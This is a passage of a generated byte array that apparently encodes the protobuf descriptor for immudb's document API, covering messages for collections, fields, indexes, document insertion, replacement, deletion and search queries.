0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e,\n\t0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e,\n\t0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x3a,\n\t0x13, 0x92, 0x41, 0x10, 0x0a, 0x0e, 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x04,\n\t0x74, 0x79, 0x70, 0x65, 0x22, 0x56, 0x0a, 0x05, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x0a,\n\t0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66,\n\t0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75,\n\t0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75,\n\t0x65, 0x3a, 0x19, 0x92, 0x41, 0x16, 0x0a, 0x14, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64,\n\t0x73, 0xd2, 0x01, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x38, 0x0a, 0x14,\n\t0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71,\n\t0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01,\n\t0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2,\n\t0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x65, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c,\n\t0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12,\n\t0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20,\n\t0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64,\n\t0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63,\n\t0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x3a, 0x12, 0x92, 0x41, 0x0f, 0x0a, 0x0d,\n\t0xd2, 0x01, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe5, 0x01,\n\t0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04,\n\t0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65,\n\t0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69,\n\t0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64,\n\t0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61,\n\t0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03,\n\t0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65,\n\t0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12,\n\t0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b,\n\t0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e,\n\t0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x3a, 0x35,\n\t0x92, 0x41, 0x32, 0x0a, 0x30, 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x13, 0x64,\n\t0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61,\n\t0x6d, 0x65, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0xd2, 0x01, 0x07, 0x69, 0x6e,\n\t0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c,\n\t0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x69,\n\t0x0a, 0x16, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73,\n\t0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3a, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c,\n\t0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c,\n\t0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74,\n\t0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x13, 0x92, 0x41, 0x10, 0x0a, 0x0e, 0xd2, 0x01, 0x0b, 0x63, 0x6f,\n\t0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x3b, 0x0a, 0x17, 0x44, 0x65, 0x6c,\n\t0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71,\n\t0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01,\n\t0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2,\n\t0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65,\n\t0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,\n\t0x73, 0x65, 0x22, 0x83, 0x01, 0x0a, 0x17, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c,\n\t0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12,\n\t0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61,\n\t0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64,\n\t0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,\n\t0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64,\n\t0x4e, 0x61, 0x6d, 0x65, 0x3a, 0x22, 0x92, 0x41, 0x1f, 0x0a, 0x1d, 0xd2, 0x01, 0x04, 0x6e, 0x61,\n\t0x6d, 0x65, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46,\n\t0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x55, 0x70, 0x64, 0x61,\n\t0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70,\n\t0x6f, 0x6e, 0x73, 0x65, 0x22, 0x84, 0x01, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c,\n\t0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c,\n\t0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,\n\t0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65,\n\t0x12, 0x29, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32,\n\t0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46,\n\t0x69, 0x65, 0x6c, 0x64, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x3a, 0x1e, 0x92, 0x41, 0x1b,\n\t0x0a, 0x19, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e,\n\t0x61, 0x6d, 0x65, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x22, 0x12, 0x0a, 0x10, 0x41,\n\t0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22,\n\t0x7e, 0x0a, 0x12, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65,\n\t0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74,\n\t0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63,\n\t0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a,\n\t0x09, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09,\n\t0x52, 0x09, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x3a, 0x22, 0x92, 0x41, 0x1f,\n\t0x0a, 0x1d, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e,\n\t0x61, 0x6d, 0x65, 0xd2, 0x01, 0x09, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x22,\n\t0x15, 0x0a, 0x13, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65,\n\t0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9c, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74,\n\t0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a,\n\t0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f,\n\t0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18,\n\t0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a,\n\t0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52,\n\t0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x3a, 0x2a, 0x92, 0x41, 0x27, 0x0a, 0x25,\n\t0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d,\n\t0x65, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0xd2, 0x01, 0x08, 0x69, 0x73, 0x55,\n\t0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49,\n\t0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x75, 0x0a, 0x12,\n\t0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65,\n\t0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e,\n\t0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c,\n\t0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69,\n\t0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c,\n\t0x64, 0x73, 0x3a, 0x1f, 0x92, 0x41, 0x1c, 0x0a, 0x1a, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c,\n\t0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65,\n\t0x6c, 0x64, 0x73, 0x22, 0x15, 0x0a, 0x13, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64,\n\t0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x49,\n\t0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65,\n\t0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74,\n\t0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63,\n\t0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a,\n\t0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b,\n\t0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62,\n\t0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d,\n\t0x65, 0x6e, 0x74, 0x73, 0x3a, 0x22, 0x92, 0x41, 0x1f, 0x0a, 0x1d, 0xd2, 0x01, 0x0e, 0x63, 0x6f,\n\t0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x09, 0x64,\n\t0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x86, 0x01, 0x0a, 0x17, 0x49, 0x6e, 0x73,\n\t0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70,\n\t0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74,\n\t0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61,\n\t0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f,\n\t0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52,\n\t0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x3a, 0x23, 0x92, 0x41,\n\t0x20, 0x0a, 0x1e, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f,\n\t0x6e, 0x49, 0x64, 0xd2, 0x01, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64,\n\t0x73, 0x22, 0x93, 0x01, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63,\n\t0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a,\n\t0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72,\n\t0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75,\n\t0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f,\n\t0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72,\n\t0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x3a, 0x18, 0x92,\n\t0x41, 0x15, 0x0a, 0x13, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0xd2, 0x01, 0x08, 0x64,\n\t0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x6d, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6c, 0x61,\n\t0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f,\n\t0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73,\n\t0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74,\n\t0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69,\n\t0x6f, 0x6e, 0x73, 0x3a, 0x11, 0x92, 0x41, 0x0e, 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76,\n\t0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x52, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65,\n\t0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,\n\t0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32,\n\t0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51,\n\t0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a,\n\t0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x65,\n\t0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73,\n\t0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xd7, 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68,\n\t0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,\n\t0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01,\n\t0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05,\n\t0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79,\n\t0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18,\n\t0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70,\n\t0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70,\n\t0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f,\n\t0x70, 0x65, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f,\n\t0x70, 0x65, 0x6e, 0x3a, 0x2a, 0x92, 0x41, 0x27, 0x0a, 0x25, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61,\n\t0x72, 0x63, 0x68, 0x49, 0x64, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0xd2, 0x01, 0x04,\n\t0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22,\n\t0xe3, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c,\n\t0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28,\n\t0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d,\n\t0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73,\n\t0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65,\n\t0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f,\n\t0x6e, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20,\n\t0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64,\n\t0x65, 0x6c, 0x2e, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65,\n\t0x52, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d,\n\t0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x3a,\n\t0x24, 0x92, 0x41, 0x21, 0x0a, 0x1f, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74,\n\t0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73,\n\t0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x76, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78,\n\t0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c,\n\t0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03,\n\t0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65,\n\t0x6c, 0x2e, 